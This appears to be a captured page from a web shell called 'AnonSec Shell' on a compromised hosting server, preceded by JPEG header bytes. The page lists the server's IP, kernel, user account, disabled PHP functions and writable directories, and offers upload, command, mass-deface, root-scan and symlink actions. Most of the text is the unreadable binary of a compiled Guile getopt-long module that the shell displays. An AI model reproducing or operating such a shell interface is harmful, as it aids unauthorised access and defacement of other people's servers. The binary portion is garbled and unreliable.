JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 46.28.45.50  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux in-mum-web1275.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : u215115003 ( 215115003)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/guile/2.0/ccache/ice-9/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/guile/2.0/ccache/ice-9/getopt-long.go
GOOF----LE-8-2.0�]�4h�Y]gguile�	�	gdefine-module*�	�	�	gice-9�	ggetopt-long�	�		gfilenameS�	
fice-9/getopt-long.scm�	gimportsS�	gcommon-list�	
�	gselectS�	g
remove-if-not�	�	
�	gsrfi�	gsrfi-9�	�	�	gmatch�	�	�	gregex�	�	�	goptargs�	�	�	�	 gexportsS�	!g
option-ref�	"!�	#gset-current-module�	$#�	%#�	&g
make-fluid�	'fguile�	(g
%program-name�	)gprogram-name�	*gformat�	+gcurrent-error-port�	,f~a: �	-gapply�	.gnewline�	/gexit�	0gfatal-error�	1goption-spec�	2g%%make-option-spec-procedure�	3gmake-syntax-transformer�	43�	53�	6g%make-option-spec�	7gmacro�	8g$sc-dispatch�	98�	:8�	;g_�	<gany�	=;<<<<<�	>g
syntax-object�	?glambda�	@gm-70fb8ec09b0a817-48c�	Agtop�	B@A�	Cgribcage�	Dgt-70fb8ec09b0a817-487�	Egt-70fb8ec09b0a817-488�	Fgt-70fb8ec09b0a817-489�	Ggt-70fb8ec09b0a817-48a�	Hgt-70fb8ec09b0a817-48b�	IDEFGH�	JBBBBB�	Kfl-70fb8ec09b0a817-491�	Lfl-70fb8ec09b0a817-492�	Mfl-70fb8ec09b0a817-493�	Nfl-70fb8ec09b0a817-494�	Ofl-70fb8ec09b0a817-495�	PKLMNO�	QCIJP�	RC�	Sgx�	TS�	UB�	Vfl-70fb8ec09b0a817-48e�	WV�	XCTUW�	Ygshift�	Zg	proc-name�	[gargs�	\Z[�	]A�	^]]�	_fl-1e8ba8b5a-60�	`fl-1e8ba8b5a-61�	a_`�	bC\^a�	cgkey�	dgvalue�	egname�	fgformals�	ggbody�	hcdefg�	i]]]]]�	jfl-1e8ba8b5a-53�	kfl-1e8ba8b5a-54�	lfl-1e8ba8b5a-55�	mfl-1e8ba8b5a-56�	nfl-1e8ba8b5a-57�	ojklmn�	pChio�	qgmake-procedure-name�	rq�	s]�	tfl-1e8ba8b5a-43�	ut�	vCrsu�	w]�	xfl-1e8ba8b5a-42�	yx�	zCTwy�	{BQRXYRRRRbpvz
�	|ghygiene�	}|�	~>?{}�	]QRX��|��>e���g	required?��>����goption-spec->single-char��>����g	predicate��>����gvalue-policy��>�����������gmake-struct��gm-70fb8ec09b0a817-485���A��gt-1e8ba8b5a-133��gt-1e8ba8b5a-132��gt-1e8ba8b5a-131�������gm-1e8ba8b5a-134���A�������fl-1e8ba8b5a-138��fl-1e8ba8b5a-139��fl-1e8ba8b5a-13a�������C�����g	ctor-args�����fl-1e8ba8b5a-120�����C�w���gctor��gfield������fl-1e8ba8b5a-11c��fl-1e8ba8b5a-11d������C�^���gform��g	type-name��gconstructor-spec��gfield-names��������]]]]��fl-1e8ba8b5a-111��fl-1e8ba8b5a-112��fl-1e8ba8b5a-113��fl-1e8ba8b5a-114��������C�����g
record-layout��gfunctional-setters��gsetters��gcopier��ggetters��gconstructor��ggetter-identifiers��gfield-identifiers������������]]]]]]]]��fl-1e8ba8b5a-e9��fl-1e8ba8b5a-e7��fl-1e8ba8b5a-e5��fl-1e8ba8b5a-e3��fl-1e8ba8b5a-e1��fl-1e8ba8b5a-df��fl-1e8ba8b5a-dd��fl-1e8ba8b5a-db������������C�����fl-1e8ba8b5a-da�����CTw����QRXYR�RRR��R�����>��}��>1���>
�}������������~����geach-any��;ό��gsyntax-violation��������fWrong number of arguments��gidentifier?��������]RX��>2����������f-source expression failed to match any pattern��grecord-type-vtable��������g
pwpwpwpwpw��gdefault-record-printer��������e������gset-struct-vtable-name!��������gvtable-offset-user��������g%option-spec?-procedure��goption-spec?��;<��gm-70fb8ec09b0a817-4a1���A��gt-70fb8ec09b0a817-4a0��������fl-70fb8ec09b0a817-4a6�����C�����fl-70fb8ec09b0a817-4a3�����CT������R�YRRRRbpvz
��>?�}��gobj��gt-1e8ba8b5a-224��gt-1e8ba8b5a-21e��gt-1e8ba8b5a-21f��gt-1e8ba8b5a-220�gt-1e8ba8b5a-223�gt-1e8ba8b5a-222�gt-1e8ba8b5a-221������gm-1e8ba8b5a-225�A��fl-1e8ba8b5a-229�fl-1e8ba8b5a-22a�	fl-1e8ba8b5a-22b�
fl-1e8ba8b5a-22c�fl-1e8ba8b5a-22d�fl-1e8ba8b5a-22e�
fl-1e8ba8b5a-22f�	

�C�g	copier-id��fl-1e8ba8b5a-21c��Cw�g	ctor-name��fl-1e8ba8b5a-214��Cw���fl-1e8ba8b5a-212��Cw�glayout�� fl-1e8ba8b5a-210�! �"Cw!�#g
immutable?�$#�%fl-1e8ba8b5a-20e�&%�'C$w&�(gfield-count�)(�*fl-1e8ba8b5a-20c�+*�,C)w+�-g
getter-ids�.-�/fl-1e8ba8b5a-209�0/�1C.w0�2g	field-ids�32�4fl-1e8ba8b5a-206�54�6C3w5�7gpredicate-name�8g
field-spec�9#���78�:]]]]]]�;fl-1e8ba8b5a-1f9�<fl-1e8ba8b5a-1fa�=fl-1e8ba8b5a-1fb�>fl-1e8ba8b5a-1fc�?fl-1e8ba8b5a-1fd�@fl-1e8ba8b5a-1fe�A;<=>?@�BC9:A�C��R�YRRRRRRRR"R'R,R1R6B���D>�C}�ED�Fgand�G>FC}�Hgstruct?�I>HC}�JID�Kgeq?�L>KC}�Mg
struct-vtable�N>MC}�OND�P]�R��Q>1P��RLOQ�SGJR�T�ES�U]R��V>�U��Wgthrow-bad-struct�XW�YW�Zgoption-spec->name�[g%option-spec->name-procedure�\gfree-id�]g
%%on-error�^gm-70fb8ec09b0a817-4ad�_^A�`_�afl-70fb8ec09b0a817-4af�ba�cCT`b�d_RcYRRRRbpvz�e>]d}�f\e�gf<�hg%%type�igt-1e8ba8b5a-14b�jgt-1e8ba8b5a-14c�kgt-1e8ba8b5a-14d�lgt-1e8ba8b5a-14e�mgt-1e8ba8b5a-14f�ngt-1e8ba8b5a-150�ogt-1e8ba8b5a-151�pijklmno�qgm-1e8ba8b5a-152�rqA�srrrrrrr�tfl-1e8ba8b5a-156�ufl-1e8ba8b5a-157�vfl-1e8ba8b5a-158�wfl-1e8ba8b5a-159�xfl-1e8ba8b5a-15a�yfl-1e8ba8b5a-15b�zfl-1e8ba8b5a-15c�{tuvwxyz�|Cps{�}ggetter�~gindex�}~��fl-1e8ba8b5a-149��fl-1e8ba8b5a-14a������C^����-��]]]��fl-1e8ba8b5a-144��fl-1e8ba8b5a-145��fl-1e8ba8b5a-146�������C������RcYR|RRR�R�����>h�}��\���;g�<��gck��gerr��gs������__��fl-70fb8ec09b0a817-4b2��fl-70fb8ec09b0a817-4b3������C�����_�RcYRRRRbpvz
��>��}��gquote��>��}��]�Rc��>1�����������g%%index��>��}��\���;g�<��fl-70fb8ec09b0a817-4b7��fl-70fb8ec09b0a817-4b8������C�����_�RcYRRRRbpvz
��>��}��>��}���Rc��>
�����������g%%copier��>��}��\���;g�<��fl-70fb8ec09b0a817-4bc��fl-70fb8ec09b0a817-4bd������C�����_�RcYRRRRbpvz
��>��}��>��}��g%%option-spec-set-fields��]�Rc��>������������gt-70fb8ec09b0a817-4ac�����fl-70fb8ec09b0a817-4c1�����C�`���_�RcYRRRRbpvz
��>?�}����RcYR|RRR�R�����>��}�����gif��>��}��>K�}��>M�}������]�Rc��>1���������g
struct-ref��>��}���Rc��>
���������>W�}��>��}��>Z������������������������]Rc��>[����goption-spec->required?��g!%option-spec->required?-procedure��gm-70fb8ec09b0a817-4c8���A�����fl-70fb8ec09b0a817-4ca�����CT�����R�YRRRRbpvz��>]�}��\����<���R�YR|RRR�R�����>h�}��\���;��<������fl-70fb8ec09b0a817-4cd��fl-70fb8ec09b0a817-4ce������C�������R�YRRRRbpvz
��>��}��>��}��]�R���>1�����������>��}��\���;��<��fl-70fb8ec09b0a817-4d2��fl-70fb8ec09b0a817-4d3����C����R�YRRRRbpvz
�>�}�>�}�R��>����	>��}�
\	�;�
<�fl-70fb8ec09b0a817-4d7�
fl-70fb8ec09b0a817-4d8�
�C����R�YRRRRbpvz
�>�}�>�}�]R��>�����gt-70fb8ec09b0a817-4c7��fl-70fb8ec09b0a817-4dc��C���R�YRRRRbpvz
�>?}��R�YR|RRR�R����>�}� �!>�}�">K}�#>M}�$#�%]R��&>1%��'"$&�(>�}�)R��*>)��+(*�,>W}�->�}�.>�%��/-.�0,/�1!'+0�2 1�3]R��4>�3��5g#%option-spec->single-char-procedure�6gm-70fb8ec09b0a817-4e3�76A�87�9fl-70fb8ec09b0a817-4e5�:9�;CT8:�<7R;YRRRRbpvz�=>]<}�>\=�?><�@�R;YR|RRR�R����A>h@}�B\A�C;?B<�D77�Efl-70fb8ec09b0a817-4e8�Ffl-70fb8ec09b0a817-4e9�GEF�HC�DG�I7HR;YRRRRbpvz
�J>�I}�K>�I}�L]HR;�M>1L��NKM�ON�P>�@}�Q\P�R;?Q<�Sfl-70fb8ec09b0a817-4ed�Tfl-70fb8ec09b0a817-4ee�UST�VC�DU�W7VR;YRRRRbpvz
�X>�W}�Y>�W}�ZVR;�[>	Z��\Y[�]\�^>�@}�_\^�`;?_<�afl-70fb8ec09b0a817-4f2�bfl-70fb8ec09b0a817-4f3�cab�dC�Dc�e7dR;YRRRRbpvz
�f>�e}�g>�e}�h]dR;�i>�h��jgi�kj�lgt-70fb8ec09b0a817-4e2�ml�nfl-70fb8ec09b0a817-4f7�on�pCm8o�q7pR;YRRRRbpvz
�r>?q}�s�pR;YR|RRR�R����t>�s}�ut�v>�s}�w>Ks}�x>Ms}�yxt�z]pR;�{>1z��|wy{�}>�s}�~pR;�>	~���}t��>Ws}��>�s}��>�z��������t���v|����ru���]R;��>5����goption-spec->predicate��g!%option-spec->predicate-procedure��gm-70fb8ec09b0a817-4fe���A�����fl-70fb8ec09b0a817-500�����CT�����R�YRRRRbpvz��>]�}��\����<���R�YR|RRR�R�����>h�}��\���;��<������fl-70fb8ec09b0a817-503��fl-70fb8ec09b0a817-504������C�������R�YRRRRbpvz
��>��}��>��}��]�R���>1�����������>��}��\���;��<��fl-70fb8ec09b0a817-508��fl-70fb8ec09b0a817-509������C�������R�YRRRRbpvz
��>��}��>��}���R���>	�����������>��}��\���;��<��fl-70fb8ec09b0a817-50d��fl-70fb8ec09b0a817-50e������C�������R�YRRRRbpvz
��>��}��>��}��]�R���>������������gt-70fb8ec09b0a817-4fd�����fl-70fb8ec09b0a817-512�����C�������R�YRRRRbpvz
��>?�}����R�YR|RRR�R�����>��}�����>��}��>K�}��>M�}������]�R���>1���������>��}���R���>	���������>W�}��>��}��>�������������������������]R���>�����goption-spec->value-policy��g$%option-spec->value-policy-procedure��gm-70fb8ec09b0a817-519���A�����fl-70fb8ec09b0a817-51b�����CT�����R�YRRRRbpvz��>]�}��\����<���R�YR|RRR�R�����>h�}��\���;��<������fl-70fb8ec09b0a817-51e��fl-70fb8ec09b0a817-51f������C�������R�YRRRRbpvz
��>��}��>��}��]�R���>1�����������>��}��\���;��<��fl-70fb8ec09b0a817-523�fl-70fb8ec09b0a817-524���C����R�YRRRRbpvz
�>�}�>�}�R��>	���	�
>��}�\
�;�<�
fl-70fb8ec09b0a817-528�fl-70fb8ec09b0a817-529�
�C����R�YRRRRbpvz
�>�}�>�}�]R��>�����gt-70fb8ec09b0a817-518��fl-70fb8ec09b0a817-52d��C���R�YRRRRbpvz
�>?}��R�YR|RRR�R���� >�}�! �">�}�#>K}�$>M}�%$ �&]R��'>1&��(#%'�)>�}�*R��+>	*��,) +�->W}�.>�}�/>�&��0./�1- 0�2"(,1�3!2�4]R��5>�4��6geach�7<<�867�9<8��:<9��;<:��<g%%set-fields�=gdummy�>gcheck?�?gexpr�@=>�}?�Agm-70fb8ec09b0a817-534�BAA�CB�����Dfl-70fb8ec09b0a817-539�Efl-70fb8ec09b0a817-53a�Ffl-70fb8ec09b0a817-53b�Gfl-70fb8ec09b0a817-53c�Hfl-70fb8ec09b0a817-53d�IDEFGH�JC@CI�KB�Lfl-70fb8ec09b0a817-536�ML�NCTKM�Ogt-1e8ba8b5a-16a�Pgt-1e8ba8b5a-16c�Qgt-1e8ba8b5a-16b�ROPQ�Sgm-1e8ba8b5a-16d�TSA�UTTT�Vfl-1e8ba8b5a-171�Wfl-1e8ba8b5a-172�Xfl-1e8ba8b5a-173�YVWX�ZCRUY�[fl-1e8ba8b5a-167�\fl-1e8ba8b5a-168�]fl-1e8ba8b5a-169�^[\]�_C��^�`�JRNYRZRRR_��
�a><`}�b]JRN�c>1b��d>Zb��e>�b��f>�b��g>�b��h>�b��idefgh�jgmap�kj�lj�mglist�ngset-option-spec-name!�og %set-option-spec-name!-procedure�p;<<�qgm-70fb8ec09b0a817-548�rqA�sgt-70fb8ec09b0a817-546�tgt-70fb8ec09b0a817-547�ust�vrr�wfl-70fb8ec09b0a817-54d�xfl-70fb8ec09b0a817-54e�ywx�zCuvy�{r�|fl-70fb8ec09b0a817-54a�}|�~CT{}�rzR~YRRRRbpvz
��>?}��gt-1e8ba8b5a-18c��gt-1e8ba8b5a-18d������gm-1e8ba8b5a-18e���A������fl-1e8ba8b5a-192��fl-1e8ba8b5a-193������C�����gsetter��e}���fl-1e8ba8b5a-186��fl-1e8ba8b5a-187��fl-1e8ba8b5a-188�������C�����8~��fl-1e8ba8b5a-17d��fl-1e8ba8b5a-17e������C�^���gfield-specs������fl-1e8ba8b5a-179��fl-1e8ba8b5a-17a������C�^����zR~YR��R�R�����>��}��gval��>��}������>��}��>K�}��>M�}������]zR~��>1���������gstruct-set!��>��}��zR~��>
����������>W�}��>��}��>n������������������������]R~��>o����gset-option-spec-required?!��g%%set-option-spec-required?!-procedure��gm-70fb8ec09b0a817-558���A��gt-70fb8ec09b0a817-556��gt-70fb8ec09b0a817-557����������fl-70fb8ec09b0a817-55d��fl-70fb8ec09b0a817-55e������C��������fl-70fb8ec09b0a817-55a�����CT������R�YRRRRbpvz
��>?�}����R�YR��R�R�����>��}��>��}������>��}��>K�}��>M�}������]�R���>1���������>��}���R���>����������>W�}��>��}��>�������������������������]R���>�����gset-option-spec-single-char!��g'%set-option-spec-single-char!-procedure��gm-70fb8ec09b0a817-568���A��gt-70fb8ec09b0a817-566��gt-70fb8ec09b0a817-567����������fl-70fb8ec09b0a817-56d��fl-70fb8ec09b0a817-56e������C��������fl-70fb8ec09b0a817-56a�����CT������R�YRRRRbpvz
��>?�}����R�YR��R�R�����>��}��>��}������>��}��>K�}��>M�}������]�R���>1���������>��}���R��>	�������>W�}�>��}�>�������������	]R��
>�	��gset-option-spec-predicate!�g%%set-option-spec-predicate!-procedure�
gm-70fb8ec09b0a817-578�
A�gt-70fb8ec09b0a817-576�gt-70fb8ec09b0a817-577���fl-70fb8ec09b0a817-57d�fl-70fb8ec09b0a817-57e��C��fl-70fb8ec09b0a817-57a��CT�RYRRRRbpvz
�>?}��RYR��R�R����>�}�>�}� �!>�}�">K}�#>M}�$#�%]R�&>1%��'"$&�(>�}�)R�*>	)��+(*�,>W}�->�}�.>%��/-.�0,/�1!'+0�2 1�3]R�4>3��5gset-option-spec-value-policy!�6g(%set-option-spec-value-policy!-procedure�7gm-70fb8ec09b0a817-588�87A�9gt-70fb8ec09b0a817-586�:gt-70fb8ec09b0a817-587�;9:�<88�=fl-70fb8ec09b0a817-58d�>fl-70fb8ec09b0a817-58e�?=>�@C;<?�A8�Bfl-70fb8ec09b0a817-58a�CB�DCTAC�E8@RDYRRRRbpvz
�F>?E}�G�@RDYR��R�R����H>�G}�I>�G}�JHI�K>�G}�L>KG}�M>MG}�NMH�O]@RD�P>1O��QLNP�R>�G}�S@RD�T>	S��URHTI�V>WG}�W>�G}�X>5O��YWX�ZVHY�[KQUZ�\FJ[�]]RD�^>6]��_gmake-option-spec�`gsymbol->string�agfor-each�bgerror�cf$invalid getopt-long option property:�db�eb�ffno matching pattern�gfoption predicate failed: --~a�hgsingle-char�igchar?�jf#`single-char' value must be a char!�kgparse-option-spec�lgreverse�mgstring=?�nf--�ogsplit-arg-list�pgmake-regexp�qf^-([a-zA-Z]+)(.*)�rgshort-opt-rx�sf^--([^=]+)$�tglong-opt-no-value-rx�uf^--([^=]+)=(.*)�vglong-opt-with-value-rx�wgregexp-exec�xglooks-like-an-option�ygmake-string�zgoptional�{f,option must be specified with argument: --~a�|gmatch:substring�}g	assoc-ref�~fno such option: -~a�gappend��g
string-append��f-��gstring->list��f��glength��fno such option: --~a��f&option does not support argument: --~a��gprocess-options��gstop-at-first-non-optionS���	������gassq-ref��foption must be specified: --~a��gstring->symbol�C5hP[^]4	
 "54%>"G4&i'5(R(ha][CYgfilenamefice-9/getopt-long.scm�
�
��		
gnamegprogram-name�C)R*+,)-./h`�-1344545>"G445>"G445>"G6�gfmt
			Zgargs			Zgfilenamefice-9/getopt-long.scm�
�
��	
�	��	
�	
��	�	��	�	&��	�	��	&�	��	+�	��	8�	��	A�	��	D�	��	M�	��	Z�	��			Z
gnamegfatal-error�C0R1h�]�C�gname
		g	required?		goption-spec->single-char			g	predicate			gvalue-policy			gfilenamefice-9/getopt-long.scm�
�
��			gnameg%%make-option-spec-procedure�C2R4567:=�h�]C�gt-70fb8ec09b0a817-487
		gt-70fb8ec09b0a817-488		gt-70fb8ec09b0a817-489			gt-70fb8ec09b0a817-48a			gt-70fb8ec09b0a817-48b						C��6�hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C�h]C		
C��hp�]45$@45$O@45$4O?$@	
6	
6�gx
		ngtmp		ngtmp		"	ngtmp		>	ngfilenamefice-9/getopt-long.scm�
�
��		nC56R���1�4�1>"G	�2i�1R1h~]�$��CCvgobj
		gfilenamefice-9/getopt-long.scm�
�
��		gnameg%option-spec?-procedure�C�R45�7:�Th=]C5gt-70fb8ec09b0a817-4a0
		
		
C����hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
CVh]C		
C��hp�]45$@45$O@45$4O?$@	
6	
6�gx
		ngtmp		ngtmp		"	ngtmp		>	ngfilenamefice-9/getopt-long.scm�
�
��		nC5�R1YZh�]�&
�C6ygs
		gfilenamefice-9/getopt-long.scm�
�
��		gnameg%option-spec->name-procedure�C[R45Z7:���h:]��C2gerr
		gs					C���h:]��C2gerr
		gs					C���h:]��C2gerr
		gs					C��h=]C5gt-70fb8ec09b0a817-4ac
		
		
C��Z�hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C�h]C		
C��h��]145$@45$@45$@45$	@4
5$O@45$4
O?$@66�gx
	�gtmp	�gtmp		"�gtmp		9�gtmp		P�gtmp		g�gtmp	��gfilenamefice-9/getopt-long.scm�
�
��	�C5ZR1Y�h�]�&�C6~gs
		gfilenamefice-9/getopt-long.scm�
�
��		gnameg!%option-spec->required?-procedure�C�R45�7:���h:]��C2gerr
		gs					C�h:]��C2gerr
		gs					Ch:]��C2gerr
		gs					C�2h=]C5gt-70fb8ec09b0a817-4c7
		
		
C����hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C4h]C		
C��h��]145$@45$@45$@45$	@4
5$O@45$4
O?$@66�gx
	�gtmp	�gtmp		"�gtmp		9�gtmp		P�gtmp		g�gtmp	��gfilenamefice-9/getopt-long.scm�
�
��	�C5�R1Y�h �]�&	�C6�gs
		gfilenamefice-9/getopt-long.scm�
�
��		gnameg#%option-spec->single-char-procedure�C5R45�7:CJOh:]��C2gerr
		gs					CRX]h:]��C2gerr
		gs					C`fkh:]��C2gerr
		gs					C��h=]C5gt-70fb8ec09b0a817-4e2
		
		
C����hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C�h]C		
C��h��]145$@45$@45$@45$	@4
5$O@45$4
O?$@66�gx
	�gtmp	�gtmp		"�gtmp		9�gtmp		P�gtmp		g�gtmp	��gfilenamefice-9/getopt-long.scm�
�
��	�C5�R1Y�h �]�&	�C6~gs
		gfilenamefice-9/getopt-long.scm�
�
��		gnameg!%option-spec->predicate-procedure�C�R45�7:���h:]��C2gerr
		gs					C���h:]��C2gerr
		gs					C���h:]��C2gerr
		gs					C��h=]C5gt-70fb8ec09b0a817-4fd
		
		
C����hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C�h]C		
C��h��]145$@45$@45$@45$	@4
5$O@45$4
O?$@66�gx
	�gtmp	�gtmp		"�gtmp		9�gtmp		P�gtmp		g�gtmp	��gfilenamefice-9/getopt-long.scm�
�
��	�C5�R1Y�h �]�&	�C6�gs
		gfilenamefice-9/getopt-long.scm�
�
��		gnameg$%option-spec->value-policy-procedure�C�R45�7:���h:]��C2gerr
		gs					C�	h:]��C2gerr
		gs					Ch:]��C2gerr
		gs					C�3h=]C5gt-70fb8ec09b0a817-518
		
		
C����hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C5h]C		
C��h��]145$@45$@45$@45$	@4
5$O@45$4
O?$@66�gx
	�gtmp	�gtmp		"�gtmp		9�gtmp		P�gtmp		g�gtmp	��gfilenamefice-9/getopt-long.scm�
�
��	�C5�R45�7:;acilmh v]45�����Cngdummy
		gcheck?		gs			ggetter			gexpr						C��h(�]	45$@6�gx
		"gtmp		"gfilenamefice-9/getopt-long.scm�
�
��		"g
macro-typegsyntax-rules�gpatternsgcheck?gsggettergexprg...C5�R1Ynh �]�&
�C6�gs
		gval		gfilenamefice-9/getopt-long.scm�
�
��			gnameg %set-option-spec-name!-procedure�CoR45n7:p�h`]CXgt-70fb8ec09b0a817-546
		gt-70fb8ec09b0a817-547					C��n�hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C�h]C		
C��hp�]45$@45$O@45$4O?$@	
6	
6�gx
		ngtmp		ngtmp		"	ngtmp		>	ngfilenamefice-9/getopt-long.scm�
�
��		nC5nR1Y�h �]�&�C6�gs
		gval		gfilenamefice-9/getopt-long.scm�
�
��			gnameg%%set-option-spec-required?!-procedure�C�R45�7:p�h`]CXgt-70fb8ec09b0a817-556
		gt-70fb8ec09b0a817-557					C����hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C�h]C		
C��hp�]45$@45$O@45$4O?$@	
6	
6�gx
		ngtmp		ngtmp		"	ngtmp		>	ngfilenamefice-9/getopt-long.scm�
�
��		nC5�R1Y�h �]�&	�C6�gs
		gval		gfilenamefice-9/getopt-long.scm�
�
��			gnameg'%set-option-spec-single-char!-procedure�C�R45�7:ph`]CXgt-70fb8ec09b0a817-566
		gt-70fb8ec09b0a817-567					C����hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C
h]C		
C��hp�]45$@45$O@45$4O?$@	
6	
6�gx
		ngtmp		ngtmp		"	ngtmp		>	ngfilenamefice-9/getopt-long.scm�
�
��		nC5�R1Yh �]�&	�C6�gs
		gval		gfilenamefice-9/getopt-long.scm�
�
��			gnameg%%set-option-spec-predicate!-procedure�CR457:p2h`]CXgt-70fb8ec09b0a817-576
		gt-70fb8ec09b0a817-577					C���hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C4h]C		
C��hp�]45$@45$O@45$4O?$@	
6	
6�gx
		ngtmp		ngtmp		"	ngtmp		>	ngfilenamefice-9/getopt-long.scm�
�
��		nC5R1Y5h �]�&	�C6�gs
		gval		gfilenamefice-9/getopt-long.scm�
�
��			gnameg(%set-option-spec-value-policy!-procedure�C6R4557:p\h`]CXgt-70fb8ec09b0a817-586
		gt-70fb8ec09b0a817-587					C��5�hY]L6Qga
		gfilenamefice-9/getopt-long.scm�	�
��		C;�hI]L6Agfilenamefice-9/getopt-long.scm�	�
��		
C^h]C		
C��hp�]45$@45$O@45$4O?$@	
6	
6�gx
		ngtmp		ngtmp		"	ngtmp		>	ngfilenamefice-9/getopt-long.scm�
�
��		nC55R1h�]�Cygname
		gfilenamefice-9/getopt-long.scm�
�
��	
�	��		gnamegmake-option-spec�C_R_`abcef�10gh(�]
$4L5$C6C�gname
		$gval		$gt			"gfilenamefice-9/getopt-long.scm�
�	��	�	��		�	��	�	��	�	)��	"�	��	#�	��		$	CYhij�d5��h��]"�"*"�"R�$>���$ �(�6456456456�$O��&9�$.�(#�L�&
L	O�C	L
6"��`"��\"��X"��T�$k��&U�$J�(?�45$"4
>"GL�&L	�C	L6"���"���"���"����$J��&4�$)�(�L�&L	�C	L6"���"���"���"����$I��&3�$(�(�L�&L�C	L6"��5"��1"��-"��)�gexpr
	�gw		Wgx			Wgw	q�gx		q�gw	��gw�0gx	�0gw	�$gwA�gx	A�gw	^ygw��gx	��gw	��gfilenamefice-9/getopt-long.scm�
�	��	9�	��	=�	��	>�	����	����	����	����	����	����	���	���	��(�	��c�	��}�	����	����	��	�Ch0�]	44�554O�>"GC�gdesc
		.gspec		.gfilenamefice-9/getopt-long.scm�
�
��	�	��	�	 ��	�	0��	
�	 ��	�	��	�	��	�	��	�	��	#�	��		.gnamegparse-option-spec�CkRlmnhPJ]"<(45�C4�5$45��C���"���"���Bg
argument-list
		Mgyes		Bgno			Bgfilenamefice-9/getopt-long.scm�
�
��	�	��	�	��	
�	*��	�	$��	�	��	�	��	�	��	!�	��	%�	��	&�	*��	/�	8��	0�	$��	4�	��	7�	��	:�	*��	B�	��	B�	��	C�	��	M�	��		Mgnamegsplit-arg-list�CoR4piq5rR4pis5tR4piu5vRwrvth8�]	45$C45$C6�gstring
		2gt		2gt		2gfilenamefice-9/getopt-long.scm�
�
��	�	��	�	��	�	��	�	��	2�	��		2gnameglooks-like-an-option�CxRj1YZh n]�&
�"	45�Cfgspec
		 gfilenamefice-9/getopt-long.scm�
�	��	�	��	�	��		 Cy1Y�h(�]4�&		�"	455�Cxgspec
		'gfilenamefice-9/getopt-long.scm�
�	��	�	��		�	,��	#�	��	&�	��		'C5z1Y�x0{Zlwr|}~��yht]456lgc
		gfilenamefice-9/getopt-long.scm�
	)��		:��		>��		+��		C�m��t�v�ef!h(<]k454455"�"	�&			�"	4		5&P
("4

�5$�
	��"���	�
�	
���"���	�&			�"	4		5&V
("4

�5$ 	�&	
�"	4	
56	�
�	
���"���
	��"���(45�C�$���
	4	5$�
�$;4545

$
"	45




	"���4	5444455545$"5
4
54

5"��(4	5$;45
4
5$"	4
5

	"���4	5

$l4
